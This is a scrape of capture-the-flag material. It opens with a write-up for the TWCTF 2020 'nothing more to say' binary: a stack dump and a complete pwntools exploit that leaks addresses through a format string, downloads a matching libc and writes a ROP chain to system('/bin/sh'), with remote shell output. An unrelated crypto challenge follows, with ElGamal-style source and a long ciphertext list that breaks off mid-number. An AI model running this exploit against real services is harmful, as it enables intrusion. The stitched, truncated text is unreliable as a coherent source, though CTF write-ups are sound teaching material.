```0x00007fffffffe280│+0x0000: 0x0000000a70243625 ("%6$p\n"? ← $rsp0x00007fffffffe288│+0x0008: 0x00000000000000000x00007fffffffe290│+0x0010: 0x00000000000000000x00007fffffffe298│+0x0018: 0x00007ffff7ffe710 → 0x00007ffff7ffa000 → 0x00010102464c457f0x00007fffffffe2a0│+0x0020: 0x00007ffff7b979e7 → "__vdso_getcpu"0x00007fffffffe2a8│+0x0028: 0x00000000000000000x00007fffffffe2b0│+0x0030: 0x00007fffffffe2e0 → 0x00000000ffffffff0x00007fffffffe2b8│+0x0038: 0x00007fffffffe2f0 → 0x00007ffff7ffa268 → 0x000c001200000036 ("6"?)0x00007fffffffe2c0│+0x0040: 0x00007ffff7ffea98 → 0x00007ffff7ffe9c8 → 0x00007ffff7ffe738 → 0x00007ffff7ffe710 → 0x00007ffff7ffa000 → 0x00010102464c457f0x00007fffffffe2c8│+0x0048: 0x00000000000000000x00007fffffffe2d0│+0x0050: 0x00000000000000000x00007fffffffe2d8│+0x0058: 0x00007fffffffe300 → 0x00000000000000000x00007fffffffe2e0│+0x0060: 0x00000000ffffffff0x00007fffffffe2e8│+0x0068: 0x00000000000000000x00007fffffffe2f0│+0x0070: 0x00007ffff7ffa268 → 0x000c001200000036 ("6"?)0x00007fffffffe2f8│+0x0078: 0x00007ffff7ffe710 → 0x00007ffff7ffa000 → 0x00010102464c457f0x00007fffffffe300│+0x0080: 0x00000000000000000x00007fffffffe308│+0x0088: 0x00000000000000000x00007fffffffe310│+0x0090: 0x00000000000000000x00007fffffffe318│+0x0098: 0x00000000756e6547 ("Genu"?)0x00007fffffffe320│+0x00a0: 0x00000000000000090x00007fffffffe328│+0x00a8: 0x00007ffff7dd7660 → <dl_main+0> push rbp0x00007fffffffe330│+0x00b0: 0x00007fffffffe398 → 0x00007fffffffe468 → 0x00007fffffffe6eb → "/pwd/datajerk/twctf2020/nothing_more_to_say_2020/n[...]"0x00007fffffffe338│+0x00b8: 0x0000000000f0b5ff0x00007fffffffe340│+0x00c0: 0x00000000000000010x00007fffffffe348│+0x00c8: 0x000000000040081d → <__libc_csu_init+77> add rbx, 0x10x00007fffffffe350│+0x00d0: 0x00007ffff7de59f0 → <_dl_fini+0> push rbp0x00007fffffffe358│+0x00d8: 0x00000000000000000x00007fffffffe360│+0x00e0: 0x00000000004007d0 → <__libc_csu_init+0> push r150x00007fffffffe368│+0x00e8: 0x00000000004005e0 → <_start+0> xor ebp, ebp0x00007fffffffe370│+0x00f0: 0x00007fffffffe460 → 0x00000000000000010x00007fffffffe378│+0x00f8: 0x00000000000000000x00007fffffffe380│+0x0100: 0x00000000004007d0 → <__libc_csu_init+0> push r15 ← $rbp0x00007fffffffe388│+0x0108: 0x00007ffff7a05b97 → <__libc_start_main+231> mov edi, eax```
Starting from the top (offset 6) looking down there are two values that if leaked will give us the stack address of the return address (offset 36 (`+0x00f0`)) and the version and location of libc (offset 39 (`+0x0108`)).
With this in hand it will be easy to write out a ROP chain to call `system` on exit.
## Exploit
### Setup
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./nothing')context.log_level = 'INFO'
if not args.REMOTE: context.log_file = 'local.log' libc = binary.libc p = process(binary.path)else: context.log_file = 'remote.log' libc_index = 5 p = remote('pwn02.chal.ctf.westerns.tokyo', 18247)```
Boilerplate pwntool, however, `libc_index` is not _boilerplate_. More on this below.
### Leak
```pythonp.sendlineafter('> ','%36$p,%39$p')_ = p.recvline().strip().split(b',')
stack_ret_addr = int(_[0],16) - 216log.info('stack_ret_addr: ' + hex(stack_ret_addr))
__libc_start_main_231 = int(_[1],16)log.info('__libc_start_main_231: ' + hex(__libc_start_main_231))log.info('__libc_start_main: ' + hex(__libc_start_main_231 - 231))```
Requesting parameters 36 and 39 provide the necessary bits to compute the location of the return address and libc (if we know the libc version).
The `216` above was hand computed from the stack diagram above, specifcally this section:
```0x00007fffffffe370│+0x00f0: 0x00007fffffffe460 → 0x00000000000000010x00007fffffffe378│+0x00f8: 0x00000000000000000x00007fffffffe380│+0x0100: 0x00000000004007d0 → <__libc_csu_init+0> push r15 ← $rbp```
The return address location is `0x00007fffffffe388` (just under (or above depending on how you look at it) `$rbp`), and the leak from offset 36 (`+0x00f0`) is `0x00007fffffffe460`. `0x00007fffffffe460 - 0x00007fffffffe388 = 216`.
### Find and download libc
```pythonif not 'libc' in locals(): try: import requests r = requests.post('https://libc.rip/api/find', json = {'symbols':{'__libc_start_main':hex(__libc_start_main_231 - 231)[-3:]}}) libc_url = r.json()[libc_index]['download_url'] libc_file = libc_url.split('/')[-1:][0] if not os.path.exists(libc_file): log.info('getting: ' + libc_url) r = requests.get(libc_url, allow_redirects=True) open(libc_file,'wb').write(r.content) except: log.critical('get libc yourself!') sys.exit(0) libc = ELF(libc_file)
libc.address = __libc_start_main_231 - libc.sym.__libc_start_main - 231log.info('libc.address: ' + hex(libc.address))```
> This is something new I'm experimenting with.
This code will search the libc-database and return an array of matches; through trial and error the 5th (see `libc_index = 5` above) is the libc that works with this challenge.
> This was actually unnecessary since a fully updated Ubuntu 18.04 container has the correct version installed. But, I wanted to test this method.
### Get a shell, get the flag
```pythonoffset = 6rop = ROP([binary])pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
payloads = [pop_rdi + 1,pop_rdi,libc.search(b'/bin/sh').__next__(),libc.sym.system]for i in range(len(payloads)): payload=fmtstr_payload(offset,{stack_ret_addr+8*i:payloads[i]}) p.sendline(payload) null = payload.find(b'\x00') p.recvuntil(payload[null-2:null])
p.sendlineafter('> ','q')p.interactive()```
The `payloads` array is standard CTF fare. The for loop uses format-string exploits to write out the payload starting from the return address in the stack. From there is just `q` to exit `main` and run our exploit.
> The following lines capture all the format-string exploit garbage for pretty screen grabs (for write-ups):> > ```python> null = payload.find(b'\x00')> p.recvuntil(payload[null-2:null])> ```
Output:
```bash# ./exploit.py REMOTE=1[*] '/pwd/datajerk/twctf2020/nothing_more_to_say_2020/nothing' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments[+] Opening connection to pwn02.chal.ctf.westerns.tokyo on port 18247: Done[*] stack_ret_addr: 0x7ffc771b63b8[*] __libc_start_main_231: 0x7fcde34edb97[*] __libc_start_main: 0x7fcde34edab0[*] getting: https://libc.rip/download/libc6_2.27-3ubuntu1.2_amd64.so[*] '/pwd/datajerk/twctf2020/nothing_more_to_say_2020/libc6_2.27-3ubuntu1.2_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] libc.address: 0x7fcde34cc000[*] Loaded 14 cached gadgets for './nothing'[*] Switching to interactive mode$ iduid=11901 gid=11000(nothing) groups=11000(nothing)$ ls -ltotal 16-rw-r----- 1 root nothing 52 Sep 18 15:53 flag.txt-rwxr-x--- 1 root nothing 8632 Sep 18 15:53 nothing$ cat flag.txtTWCTF{kotoshi_mo_hazimarimasita_TWCTF_de_gozaimasu}``` |
We are given the output of ```pyfrom Crypto.Util.number import getStrongPrime, getRandomRange
N = 1024
def generateKey(): p = getStrongPrime(N) q = (p - 1) // 2 x = getRandomRange(2, q) g = 2 h = pow(g, x, p) pk = (p, q, g, h) sk = x return (pk, sk)
def encrypt(m, pk): (p, q, g, h) = pk r = getRandomRange(2, q) c1 = pow(g, r, p) c2 = m * pow(h, r, p) % p return (c1, c2)
def main(): with open("flag.txt") as f: flag = f.read().strip()
pk, sk = generateKey() with open("publickey.txt", "w") as f: f.write(f"p = {pk[0]}\n") f.write(f"q = {pk[1]}\n") f.write(f"g = {pk[2]}\n") f.write(f"h = {pk[3]}\n")
with open("ciphertext.txt", "w") as f: for m in flag: c = encrypt(ord(m), pk) f.write(f"{c}\n")
if __name__ == "__main__": main()```
ciphtertext.txt:```(154594131236051398122469778674138421851072318148432545602664759228646453695729674311681424753645618679517395903930492631941130791297634184855370872601937155835855399931404858876498502490971762078520838098150077954031394997911747109750793797863354276535722232891507004167970283006377848824998711061097675972218, 44363748852203092481535090819925442943776371649509378079183111298453163707363171448578299980822071179578617152535486347808109590331077296945968878436807278919266866276172289482428101111587636201322370148862719096134783164024267642688236493728148654119723119581859726215294971873348339078960280196561670517429)(84581978416525791849148562109631600481559587882783144138074505460391478244164016351172739701550626217181704287463929319453198566689747659920581061296702729960317090461192475301910315496099902975969694048544133009199654331203816236940170563143526464713673996671415457557762604298026222009810749692906636292773, 113346947560627547454811755108107964087931289217648601745104433683412100078708281088005827737868742243060165637708122072192488321359896177217868008149291396521433805443943446504450819296012549293834549966837826298450366621860069395636949650182911128160406486935322032990615242532666787150863095710833689094034)(83123711882636327452350034248751542397560023144190203881835758930531648440668475475508215209977428748361853980736643188087100572870886034288704114287841561833872411588323573658194896985651067037423287073926704285029950422210263815337552634616738644386787067440771598546988191179056423303981023231832669523407, 121910846540994469406666155350803978148618607458664260477560949884691408201397231961476369803474328565614948069502682169005206527201816006111836767177058315358848673417344199398840929495778488255098835253071109983091696974872386963948710793023572230780512698272597225067606884128220154541585868915133241046408)(119469333089951634424434703388863165083702315862427640441213027659681237172285104638016368215372001464638875552995692636200540555053732731837755902171137859684950669527477527651017781655806523188335501982845894048587670232079667107988716591837831676737961970600001770434587293231589791845450617078952936027765, 97556816704601122206058874622264661177659648061129152273602748426093356393502265338248101905057302126859997817073709453085067099131776573825659857488995124659481373593306075872213589108789249007933394214907988480372520810922841761150365922782754567406830213970979830114992763640950612609950943842842830472548)(65521981756823948573587157650182583024818624488253141827788913602398448557391048980158801079544224810709626006617254797603031358513609919665785482377490958353806809541971599432186820054225433780632124813756875665353098589687103087770131700064134421033083202252243449761980929252753576644101317122821649657426, 74886385991186973168553223799964175838112157336927723801135051549586092913485664284540459151175839877274840150253936604267568006704887056439198131195174400089554187867617610896006810843083740312583052960473939956564378265885684381554074154428452906319594139478641253467070949184235419204049152699837464017772)(2523565031347545588306200964965122998877204912167823850702143125420546246762531235607188103998294294871108312956034404147320096202994255351685153528007848323900147750875166192081016309532465193197819102599525786527158819635508713997299340276379919992500313419289605032902940625878811437753068054382417708075, 108015665083700233231740913155609215302725278856993860419775264420762920507907502983570613938585747292576515603810894684413176015441324230602394469104007306725725139568537618959680715084359857403832399885857624370375218598790033230643140989011183998020799838560082537180825446625491098373992423901133610140295)(88781656801539498309118997276498388590672637027191083281249963997705694933052386839743250074205626205488184536189344944926911453866363695558890663165826992655739888743750317338118720837474844434906535297925772427881479338447612678452907074840784781258879829221927932982373405499345521069602471178707261033102, 107861325312776396920647244495033406332054655253501189879668625179139981023788658429456713651042013524098603464741628098818035735177718924448570435005852587955650667306758813752915141638939757236288802868465106847850148397866699841750173711053282972101118068093480673405533027047157895641368285386156801987251)(55395714120242618020730064372359106464143250780226864226273837591299398227731882536373197487643693704239680478844165962468789265883320716335753722202465332198416136300993875778020310192473861098853614956877261779156556242153275597969212339119342001920479240103764114910231373149835723227733535417024318034359, 105426171627222455245855397195085521886133861275304373691251009950792329848433698162374598704152478336999601050203223586977341508585859285668689614979388658481828719783815788114519045733793350300787190437857205526520705505872979564698953151387481845186846804979503166195672038862861351498357457942585149198344)(8642104426829673431078853658782321221582974557527701057859746659442726983957882322247933998419378931657483440432885603344483047632749077297796614661770152955979899193211127935611999944633368227236436556442362556276281039534333816394136856817064864830316579702657602376656407586946621056533506581916360426218, 161808664765907299136476829780534629986697821301585729811109913518744190502601352024162128966072984477991613651924404022178262541276372826769987274045692683479282970790731503303999986308225062363507910086830357160929571189664481769364505595735559714180107750922779735401379345458963773584335808483918195457281)(36981047228164671081044204325154459307342130689468814608464928785359446320735241620380690353922545693443817975246590119260247992928766321622745844018255206143230435348922893081404078041822280770481222873522572535018849805084104137501316815205757724679417230914700388003965536372454477707558707910912979947861, 62991188725377507664132162101886148678326012123891355794133123335138351740468072956325756565712591569458813279033231651725648192747050119434056521982826772829372064703054023037371002209282807263996342760516810457049754164176161061371502331442686660505808762304048978615775439246360339375868874696178902543996)(57679671417585297961185841191925168669282046674488520101018442405072897927083057336331302511021320924396102293334574895886322543220089474154278438091257880664059932261527355373381952626950103022925727804111592221383176963653346921128292877577986954130444040156840900325038865806856509069447445502272958789318, 101353226064500827560061085619329559091383337401747542292180168349821019218999129845317267316090184600756428173641289033720460462022821077358662117160015996461254312182250935503233602855506754636411347953832834662977612375747729951410839839928390063658100674991286197571189435466916237563950255610304762704921)(69802306299260678317179499287171259321940389306709206245822636833181330355788857187558578800606038940405032863067583087902259472787556442490420626068734329478158612023216037892039960995169873142849496123210555212199036046685068968850117381719254810792793384651251643298224226592178377808942523250105695988826, 102136232075027584255018740192514452281529371020120854448972188777937350512971677848524151335601859998235281688259791578863543930285803398030022090523395377812094199069657759537291086685272191170813603084976933349149366697016557372542710681122101903685306304182825357875442331126132756054955858149440039156853)(39595153196016259018280354260509753640881529539762866146347223921960762350108861352726448578859514878767002449672982244940116676593297719213466121663863526918695670751799469261029722251548050895696175491751693154794328556781338579491975270896564260173253615298184138775818953190212118471795200451855056447409, 94084465158533987476422486122335461598247902528747143408229625664167501184831233480215822653745466618068278313518621426079951864611254068589094705088417512890244306274822989027969348151329547062475692610110062779267489144377154512793006698809779370753694489316361937704241597456954006081609702534340569291481)(75394464839043403437783930663482521549412455814010404807928391619248092923302666934349591353780937271900670490565973994260941289948705876396851597059033239064178885750211791264888534276934860511854587800059655608528094728945333819043518211035304080662260756281885300132771897388581231387354966252386377045238, 138618614787337627945256033229672266364705950650007136805020789787212799447566817020178805659321516262913647068819207148892490942363622125582619296518876359853525775583923111340890750939089244992063211936618676712067568543380237981077231025289049706530443148229328205684906951402113927216884677454769304196699)(132032563192394073150530909025269843683161307472924445278559083347163097069830735300257308566742780487816143606749045368310691290737413182433344202428026959248481341762440550344509735519535592208846802935367004862758170410016004883904992974950838685978929874514342728686439881142199624626750918529469635563321, 9065900051198229086773004439743978515341322292301983634410489124276260880997938626617629716235646690592074326557516047817116230304656587966554479812628729995890305060347371873654866171180248278169958045138525339976773894617793070276063579653663022802943272573093450676521291181073872623090488910340088077629)(97565760879291700001499336741578901511981812089605838288695387443979926491039126098889846265592966682400865112311263815725933675971642893573859499847168808450636883055230959362432087485985221941722500394953685473278187120919941821292992506059426814247373197041763342550762451139424785216435844001157956841244, 134002655762880290549769287373315987568889667948277144708231176775587522686407255215354893377943002907866056189483709344142570235156619619794992947439612636840957845086264360847439668970471700595788115399742977192091561172540407118851550668822234495139367318963325524367434896177003350114092706012356569740066)(103529768145022263938137577627359972339409801500956207697928756808910757835139356771322609020268295532051096133078048184639676527529990950128410978714606212424500058575200389693139314410066490675831711135633224386353159707572855954791544392479459389447394769379533016572389253079986576520265185626659952494958, 151351383848355089235825918026149330837514022155698833043458586769911933423913980092515888634181212557981820914607071440792981907912128303421883310548622137137667370385814662753188450744301550629281176816146598030613664355321705780818764328757057708623838727036657203212483948689327896189025641288640584412919)(120945140879144973166003149737080975878014113156197154815734553362662321567662897021321657650150030644134145880972604736780172869055461191299364930096563795999225422403310352719820812091453560053745869425158400148159510566147468013781330671141984428019521259752582202424709445327612683633437549044443375371428, 73296563210868626477778848061494285610835612464717405107450241946563034822555394999629787460198908388653510540555688025896870655943938359940382235224823876084414993225524666400190733126593664556550666146878117942398348288493942675465210314159323583910526333015656290955102336688101456040829644843875631349432)(116968088309142255086178103146819784046830034880566988985981886205104002367586508999123574266611433239268777053038150371931633137389917504904961875211207570085130381332966037945571483768486120688529240632091267401140892184360269802487236603280311498610072991600797656110467043629743647708461958885162143468707, 123366124374059370843999848160729655260151778356264633835177214345073089393967721257176413258975336472914210267670747028664491109235708088996526620737999500733289463935573078989389939336123237841937542574316038181245793844529141559949472267233846567066052106066460307950478082103931657397795865557821293676936)(143341934276362038844073332332734384029414312479996952240738356251479376286454747460172185441084727201353730701521243145889262698990362360306552718865359580371918908996123384755458385813247701865019323944280101197470965504871468681619368779290683999921211756869992281731500423127944157567673270980132331330062, 52834141498083844394464495371654901457632588643645374732530014279925327791317557442462849515815234936421207906717612701376348274565224712890182729166343117654998931773789495866398459218647474735093908105258773875242009284904391463558708275326964868748158793390046054583856548480657972448045717994076708549473)(123198978637594842976767955461502603885870536629500365430144624887278651751266476244812165776706173780263132739477811598035546222252222837619265487344523076266818993385568310220256616460012023658034477688980063588563876268117503465667498984794126151310970765962221822138340724090157163652559917545078781877595, 3640015615942159973285516273418933593102387716512596985884945666930171259274068658427803905904263687276476607752986107788949612103284293175404820611170347132951858266014167042304618019417282558493494597379740448175389791125195454319470288701234418320322342917167572161799872891355311743634907977495164235449)(105788410973293493662821259434306645885639250856306304321531664441660025221120938340158758175890007083264940949990179950495266247703770600144152533899970412310474968605979502400544829126298355006572679993031474646754081452769459990708035297065232726123419191805199700375391024381206232259395934588182517795123, 132463544290196419468622335184582422447149391267271743220872673662688758800784836854422040021745707951534156624153334532576638640709143455051507167092003993755148423888236289078026609719953433043281514665466607826435582250450936715666723142521253236703714658012425801811409343980541684980211575491168667283068)(109193012134882727823826510835873060971431727180920029300488468524219984166993248017025358444974139286476831654025419383723291030111734091252136169103942902211649517429999404540152103138782367950948765628140305328289789304963900029816436722146444783797447352387859899752049179555559345198285639717628645618191, 149920750857568016345552546767213856034718690954457411278380372560247413245052296376873879230916701071130083568647989819905365916636738600376369011205648536473529843849125461023969717158901785179501893088197109451619041220274466444763626146545571867908452034818340569413646773483706390704458688235413927774245)(7098265481794598273330703803005026984546646460313483890050046187250107293124202734109658705435567582959055473163056642618798899655077325264122284026806478131845513109708746834911871400363583412025887652048009969084728374775898433425313108936119339093584684785815762493040632376353928522109599704036648149846, 12875080291375266509341885497202972056098058623358381689023178913162848826045714338851035801665826325186373293970580443999816478442948154720361232047000041262321914389220403457845871321811801763960570353638411389324583485114927878662636274583368378922481393190274391692840754043092426047172839717083564535277)(93758968693559531882710747404672482353593333867625041400112607275561741029525332684917973659131867895857319280089363529016968195611825090755249714034826122374476356302084152598836472453385716666793950550852684912509054282509483618535814207784546094508468777865479654519353024145520952869943717496096022326586, 112034672441025916320622986793341727335560900191430325144259651289293314589668834595701767867368292951977999740170134058510158877879761867647677007248845732351691584185187069555594008950379581651061937634518255456689904357373714829503182450211898827545801448643247656358140580737160049491053413346702455534774)(3055032410347634341204576278426247402474381969151120110103930491628238274065261043406803870780073098604369520673129191092233586673095330313917077083298352247343294284324117003207053888959414190811097239856907967233288611063247496462352491685627214428705799297242875315373515636789042231816666533808745061984, 118693670882992028768097216443608593045057192354274204779313183539991556007263567599750161271511491733075472427140130195127714658147914360082039403727530045063847891685174565783835661452909725684120522566035018006601723915352738967375154618275544091895934991444661708948578800607823945837421761361008752012534)(84811631445469397421235226094439761313793864765732194300122886504333057777601851311663848638922114313270784580759163743616055455154864273576825496867496170354880880228990531238075872096817854201016317036741777433538613158426133101994414595983273248700138345952515871234437503805423345629143001108945777974447, 15724480325404832981193726624183361885761238249388276367226628153475535901691312090455799230056690564416877382303886933659365918355771732829530929018770267182300287154651416209679715339902257795407491492438677838913124981572904117128946456472260397376162386605706344441791634410443894581541557341387745881484)(140666514291544951845301528430565246372749111622554716678948759243201758949269724993684696146498382214160763733959959594166143599555609487776652823087011612871841839344564538672938058739670192639890586179606293671266933101701007721841920263503668190405390518967887120706325536786675302759681721773014298952302, 158725887594128820074422720427412300209589962947147437399038873445926989777486725634962055596039724613203664111933988395148937529482190726355355347314159111913317708493691792008367314184278304191517471617053477901375291053349346586448476059534059544732516395032916561206671441362468399296088483759630852434453)(120553030992641945265663835234040708082086256090807935385759821031531180617105557861413817323476535929945588753085102202000691573149957481525269286373128292282128832317372386439711153942288533396308111221042918649915179088618984256288206830956906845158025815252550445399418631020453115181594757351336921093901, 27869942295856554253014638523369302143969130442944245215495814322450778321797274345427790791778503148645582276506849101656089604547143937745168653032233914611869013181223694832705833918626580879647142338101145251952788775811631453663408615378531115338326600133194851103139581728391070834872415484543735973632)(35635872423088087506832743649310576252122605630102597418389006309248513305164278073978230841092564331869804713099382714012467053211423533523486624652506062720888459266162783228312751458688294243433717478440219681601310239658363977361581766479443032365881544670223649480314006791473045439454895922948679771255, 136800097531495601417679910799281887799281364078222180955774334712396147212229851421022735280503360643224610893118004898143876155557896035257059829461734588037740271636378142718120170741006591172108599902515306585752624916123103563841649436464601336355458339459629477707342535597252853018771409934975595793500)(151896265422901254674819227148293638093660658088411751524100037576323433893467708249034199298365742137527166632266370086997839638430255122050660228789216754423183702466040250688225339464741855678127439689330681844203984649791094140711112636544655083358235924509637800274344509980242192799595983890420679108413, 140261181384454904491176257077369183535478448489716977976117892271599659492128215878829818848307037753006821082896294438205678878134469208055132245752814418716976639733402079478990671897164331034243170568772173562948635246904528587971840708103601046308393964942861483298377282652277330357369461886484041172122)(116820810751414697924466032067332327847731451753286258580113851089045377688125527555188982374520715079410169822202877682844219040671157640445701537375683180316744526698745905968935963849947533206878881585825489326335307107078930378135041393151339792658127235370845201425239018123893576142931529014903422691670, 89689646021678849678350583413897698060768133262723028461620283143435746296845854553815647065348986736912130286504453411777602434844749699042804008079449146070406173567981037175058766307843616451461715995991320837154441561167658640651766198063028636339605702033693140005902774181798222987772275472488063114309)(59849604197527516274109586313863419807891248251398359101465810390490851589920399847500336508342857905077775731704879581785301940929097410504238469581171935748188967835122366282057025466769031448756462573514161501939577597618925152797546892757476683117169355373879700139586713312186365770511858019758362346491, 45181653090338528619928928230444517546907894359110504770739278681333389069376474450264941967992100515149716892046415724101381637058801525282208283766547017551624009970908501515235355397668164942817672820944031216852299434729624709371360057664482393257477997154154515026043285503770468076610611437001709339167)(57792582061526001339349590010493810469599698853543195640264303382096303864716673810891344892321132278591882089199897797735947459003361344544495846137321371880373232063980201996888104188471620674056294351067751445051526266491733406565984340562624280173255031035428985258332839640719190871134802330708033661378, 12341617301299884646371766724285245021003174792806234047329519087418933801543813602159105488358365246436512450409221993121441514623760143282031483744255460856381267820012128187076909715726759991930258268891843343550931007057688221811916506496581324011491482071132079286090569004658019763260592541755916915458)(117495379423341092994615587275930076141513083545390630587452811969318932769394048128681364137235497452313955491198199478192825103168352509703147849562162296564853360466930901824627583839412980384308322222247172622833980010896269425391888156785886941125116288068360606698050772326270544162717186535406273050795, 68057960744862104087732399736275647739388138675586714568210271728910102382303740279161567993613289911524707361820741240073483275037061115376987717678732711598648512376650631489102355094133273027481453332915409094184704074544014474289714019960505478825780421587042120836372440324615934435695692169544578211825)(20585641714624873137572423423094184527478456079378630978816208395095488253065881986498553723299825623610950515398932583819410175986206858220581630504061890277936668232708921503764778301577175762898126959011614709656904425761704194166577870504369829943754955047795494468466613632362830172689504166495960292225, 115230456431600875296771931001094702152598918496410485928638983826694359798339364651603229007892451976693196284462868231185889721860836216297362243874511237949704526622699600077343514808481927220770864777293585548688447787765197228430604402835444508848680541724927937990266175469320028315455130137057292338111)(146656883867569566845094385797856728037334266322147107310276283267635898614553746609515175800069919624097736312587516804562117347412749163238376248381468399118457157955323670921774665392973195636623516214324386873055791889505406905473369852689326839776109365958975780413603173051470960848347867638696105377209, 109539117456570133111602283670938441506631964210782229176505717805827394181507452017087961633258685758931999859172467889257825704492556637314265216040845120379127195473295608257900108647546498946826452873372745101569867190973486824207319540015594164952744167324295930170973318917308801872252279364788666883391)(129432459007763280706881805985983339542743075491537980969631524089159539396459575310052894085678284245804445958268539018142649546710061215946096408139314417049273072440976521633081410743310074470569016787299700565419176201410348712153046942243064591259874123548119730547584365134580972177035606940619910780619, 58682881956778753107398183315886547483967346182724906657992954880155559140860945383848683623192577692326472082121211761051576315024633143442320998518110301565041382312093727307957243498669996840539510903416039142336089962289864156909151920240930745450615606506221223940817883392817889296202313691535918974307)(127231649301857541741933096935613371249533227212448764816075795695098612460738272852146144551229942749913938256437176736544212339589187765441552236377937327397398697087397388525801551934706462483687995998083572412151950387884830933111077150730107625534943054526068997280134513866768456401931385759905092219101, 1171922948948998100619180827678261157161854888257328818499197895286981037604686802024624625307215518553909965439273407589159879101535090818413690332304677779273895621023669469240284201802452732417273158004433698295549952252107857469965279959362364571486790002960456883622842937755286757479027024345274850477)(146338862223370816232153151611486624919084420541412497832202829620460734490748811834316786036544720161676918215319399659178130191554981104905254409101890663170446596836101974586696639192192610111547736199821970450384091568092574673695775785084808996436094026090445647326849005828535687286605650513281319491805, 49064722531053728080331877826568616723598230176398522225184887348933798100021767047634599611152712306236381897647424794541299967888508376523353407084921686094222505931936286363571016276419955834455736527485951672266665790111497022870877740179388065470138223634819714209444619023957270301867223850316219445082)(115419093779094038235019841326957166889916065696317936634859822560004336149456843350707830118497658726767542697133260400057539488704991177715943187377250207728099981552803703578086707150285746765165806111550492055210102416772607526289519439592816764135322110116200605223138454469408193849211255004536863649263, 17864652861710933985178169823274492895711564946785811547342618079423941329537426085303363105145236721075827801961695877729392650028055044113112542100738742396148105511891463799440476505688237649869857924542396892887855612357242985432823137840589950793395437498515420657406115425080671908529660230900219720240)(140740352308788058090493143586681251570601935381785705797581095519634908997976824892578701304307639870233555947511425437704626906748766078161453223407813217883441859819369358327703352767467031341000355221880633244108470952407906912747478525079380223385215446823852775442779431121200351154365010285556471652628, 92116929679591666827272951394172422940169073630667156533393339005259842951816422462722090045643296443855302740906979401389205194227636972201216764802351328441254402927331431113005740302838911417655208411610740716184891633395734467052371347720818434430155321983763829596868938815593125443517806571026276024197)(141342609761486446213601392516714356307543927129615928226520204216476264406647060536052391013288502035483184419287252373632842174595789920058735183073283014989123552499380675398339388858606434904914090747116668260486182321593039728374639710730375458055987142180111295328154326853668155152523983381253260625673, 10794480359969278837964551913878832363858072907197261114286688711455592489220686451014862860586719177548316197552889238736479473087480156317155383737574195540121019666681611307857960788768110412194206059704769091990550577538918079670395214172682386351860389646039888992774391817614615444362585312329452317686)(62004410894939962544271129802814967555279288142552395587608453562599803630653343858646741807830194827679662272049629233273518401309783015292863034288653327957868607087422655832440292976491806846933447325497497677582399735244599078109333905718286526408999039998951993624826442446829323264403041647301870621431, 152979663549637514432867537628032686711438941718112767123030410165768790471181786078334685515142364109951739258806232677057637197633156973728886058937677028179826940026504836925002877727133732429944798462168796747794998733639251741723000549137183963359463689610080006564774550422376879095222571135855113647388)(20038755851802059289547411234200210328292543431141827093569854458331419063511848850740098040286302630606612110463656004057571460567760483318078318513421104188951944574953439394170556012180727950458561188060603088676199437238048841691688811840538249190557861364743682026686259635574463596655413885565907335193, 27881619008761711703631317474823867570110913924216472429805154619344754622757315181325879303496238686661814357126357594236805248930447286336205650119376816262074270156030738927045059537178161038331186871670287058264537060068906713395498852406029938110873692125805216869306989186627463660574137841623489460124)(108378744322597712446677197294300180417328518790137121261304826544668902077337201989026581107553676047344528879253447085800287645092167835711779757347260073666235778487538248839603873769519047388797297976494877546010908899326175906218387554335718117430458961050690402779211695417136933795716121702346841617280, 70859681954413872282060123341836795766894478205721795077178430598501005481383021979099242020129220640495498789268479756674123094395779941412502791135275434524551672429190210617750436813810890489883473124684850139451269563318841888390307453892691337582170348977778797244339839204988256537990273761450689339277)(119841171787343326390239990940034171953472334479255354944793291078195191980360055083821123662164256584391339802541700964926747059828430178282844528083852683296272488514516275346747432810137302650303084174615601885587568371727999297355909836064051473624485952139763048036035334632664268698714950048927782283456, 144833366502183263033077705550394544372205061060106930087050778837999901242007878291097313707362428425966235908602907454017563492301395455221809308608973214072238656949359528998437689101992261641206215150998850987167654176897056512078459317003716365227583609539283805952508608926530437852968299764544476982930)(13738735538526218610475911112697867643942577661856493106150196838443619331981487082061268056602655349954061365156667473916658338339424554277998504813438083337153079125498135237811368006522545753895593289547125356219877680204830546251163949286301984659471585016402577150776638415715735342430003925720872364494, 13390021164698662764505803643460774127050040096210664618202424644027121858012103813958576656897394869775430199974942389668147357283201580793921659615566092730070762189755985112295602158574553354261104872438768039971462004427294889480192146723811273839427033540100389974215795961640059679078534010275137106630)(3150039013183848677831485352109235365677188875756836022060597336995551374130449094633717935582803890606322873119819375712304677083953460886409249339696976891175258749014356765903395490560137969589375251568266417916043849388148959523085388964895518374869884741627481072356862250536852863226741008881499342569, 21125710656316321890918209864527185653629702949959796515445683697345013177757298524810352708940780669619987489545742717424565456265578850579249895867763979298799221886523170611940641590728475595415356528823155263658740282769524101667996350586216236843444998716341057238350777856596191740322942126207146053205)(26464385602461411165080154827749097079702292155710868556032045098145511679541409075644181460702015637654374557758270266660867383928236389810175699024233526375947020191719464748196529177534554341939924614150315598278972729544741796267703144036554585046239646510930800586130958532137825403637870748774440222521, 26565163504247799270039086511878262655925127093027341883327206806886367830044560460752857235720023945098408702992039672828864073150501759375666065944137300586423579949562438185044759180549930859217500952921705433113938676840572018477199850714589679212884703369073412437398139340649443886994283651634906296925)(61166647923038356432612003934532415879355662326310424041824825339572350672975847278934148816026889921078229147050505882423282282366428802172468503124774295898120662532183528776918304416107928026674190717853428717174562877738052377007284563704868323487327067701568371888721387894229424379524245669264368855875, 33448852708522208062358859727933394206854852114940871055389612245970573253138470442952086196798020558494274089047116607030310880258375914643333309604290836588437012960943829785759495063532768753094629827407791948195101966527088192804893197765375622527814603718414979824730054068897658778883870227994644008068)(90878388307319580784872456481401919808781069311071608430297514160335127444404764556432164179264237249115031812058483264929452725559190370448647848358209720134933732330728398330080435519080250897045328093572093229709728395637906735190609706420543826209819175824825499167010259291273115299338515107136048887487, 85383985252792101089981105638274908994850835594403924427146285991411137186172649878521039040087461770670712982671306252698214016689272924023022074049092085874392848862995521395386186262741302119140930185885792535897543859412026478181670398573044340282470823184549221255220652199877626770048433978089212554379)(146490083065673552012706985554096139351309343687189370518192874032208610031320452053430129467484622032280618621917407042816180009958656865923345113522181085470059431546454218424310258280144081401575068562029329625153938872001986620046795065387109385267866114463334214895222885119239012882989276128107785650061, 